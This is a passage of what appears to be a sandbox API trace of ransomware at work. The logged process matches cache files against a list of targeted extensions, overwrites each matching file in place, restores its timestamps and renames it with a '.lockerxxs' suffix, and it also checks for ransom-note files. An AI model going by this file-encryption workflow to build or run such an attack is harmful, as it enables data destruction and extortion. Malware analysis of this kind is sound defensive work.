HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.wab") returned 0 [0082.749] lstrlenA (lpString="*.wab") returned 5 [0082.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.dat") returned 0 [0082.750] lstrlenA (lpString="*.dat") returned 5 [0082.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.txt") returned 0 [0082.750] lstrlenA (lpString="*.txt") returned 5 [0082.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.jpeg") returned 0 [0082.750] lstrlenA (lpString="*.jpeg") returned 6 [0082.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", pszSpec="*.jpg") returned 1 [0082.750] lstrlenA (lpString="*.jpg") returned 5 [0082.750] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" [0082.750] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" [0082.750] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg." [0082.750] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg.lockerxxs" [0082.750] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.751] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x340b [0082.751] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45ab8030, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45ab8030, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45ab8030, dwHighDateTime=0x1d2faf3)) returned 1 [0082.751] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.751] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x33e5, lpOverlapped=0x0) returned 1 [0082.753] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg") returned="AAicW5W[1].jpg" [0082.753] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.753] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x33e5, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x33e5, lpOverlapped=0x0) returned 1 [0082.753] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.754] CloseHandle (hObject=0xa4) returned 1 [0082.758] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaicw5w[1].jpg.lockerxxs")) returned 1 [0082.759] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x538925d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x538925d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x538b8730, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x19a4, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAj0doQ[1].jpg", cAlternateFileName="AAJ0DO~1.JPG")) returned 1 [0082.759] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.759] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAj0doQ[1].jpg") returned 1 [0082.759] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAj0doQ[1].jpg") returned 1 [0082.759] lstrcmpiA (lpString1="", lpString2="AAj0doQ[1].jpg") returned -1 [0082.759] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAicW5W[1].jpg") returned="AAicW5W[1].jpg" [0082.759] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.759] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.760] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.760] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.760] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AAj0doQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" [0082.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.ems") returned 0 [0082.760] lstrlenA (lpString="*.ems") returned 5 [0082.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.db") returned 0 [0082.760] lstrlenA (lpString="*.db") returned 4 [0082.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.dbf") returned 0 [0082.760] lstrlenA (lpString="*.dbf") returned 5 [0082.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.myox") returned 0 [0082.760] lstrlenA (lpString="*.myox") returned 6 [0082.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.myo") returned 0 [0082.760] lstrlenA (lpString="*.myo") returned 5 [0082.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.qbw") returned 0 [0082.760] lstrlenA (lpString="*.qbw") returned 5 [0082.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.qbb") returned 0 [0082.760] lstrlenA (lpString="*.qbb") returned 5 [0082.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.qbm") returned 0 [0082.760] lstrlenA (lpString="*.qbm") returned 5 [0082.760] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.qbo") returned 0 [0082.760] lstrlenA (lpString="*.qbo") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.qbx") returned 0 [0082.761] lstrlenA (lpString="*.qbx") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.qba") returned 0 [0082.761] lstrlenA (lpString="*.qba") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.qby") returned 0 [0082.761] lstrlenA (lpString="*.qby") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.qbj") returned 0 [0082.761] lstrlenA (lpString="*.qbj") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.ofx") returned 0 [0082.761] lstrlenA (lpString="*.ofx") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.qif") returned 0 [0082.761] lstrlenA (lpString="*.qif") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.mye") returned 0 [0082.761] lstrlenA (lpString="*.mye") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.mbox") returned 0 [0082.761] lstrlenA (lpString="*.mbox") returned 6 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.eml") returned 0 [0082.761] lstrlenA (lpString="*.eml") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.pst") returned 0 [0082.761] lstrlenA (lpString="*.pst") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.ost") returned 0 [0082.761] lstrlenA (lpString="*.ost") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.idx") returned 0 [0082.761] lstrlenA (lpString="*.idx") returned 5 [0082.761] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.dbx") returned 0 [0082.762] lstrlenA (lpString="*.dbx") returned 5 [0082.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.sql") returned 0 [0082.762] lstrlenA (lpString="*.sql") returned 5 [0082.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.mdb") returned 0 [0082.762] lstrlenA (lpString="*.mdb") returned 5 [0082.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.fdb") returned 0 [0082.762] lstrlenA (lpString="*.fdb") returned 5 [0082.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.wab") returned 0 [0082.762] lstrlenA (lpString="*.wab") returned 5 [0082.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.dat") returned 0 [0082.762] lstrlenA (lpString="*.dat") returned 5 [0082.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.txt") returned 0 [0082.762] lstrlenA (lpString="*.txt") returned 5 [0082.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.jpeg") returned 0 [0082.762] lstrlenA (lpString="*.jpeg") returned 6 [0082.762] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", pszSpec="*.jpg") returned 1 [0082.762] lstrlenA (lpString="*.jpg") returned 5 [0082.762] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" [0082.762] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" [0082.762] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg." [0082.762] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg.lockerxxs" [0082.762] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.763] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x19a4 [0082.763] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x538925d0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x538925d0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x538b8730, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.763] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.763] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x197e, lpOverlapped=0x0) returned 1 [0082.765] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg") returned="AAj0doQ[1].jpg" [0082.765] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.765] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x197e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x197e, lpOverlapped=0x0) returned 1 [0082.765] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.765] CloseHandle (hObject=0xa4) returned 1 [0082.769] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aaj0doq[1].jpg.lockerxxs")) returned 1 [0082.770] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5159c2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5159c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5159c2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAkqhIf[1].png", cAlternateFileName="AAKQHI~1.PNG")) returned 1 [0082.770] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.770] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAkqhIf[1].png") returned 1 [0082.770] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAkqhIf[1].png") returned 1 [0082.771] lstrcmpiA (lpString1="", lpString2="AAkqhIf[1].png") returned -1 [0082.771] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAj0doQ[1].jpg") returned="AAj0doQ[1].jpg" [0082.771] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.771] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 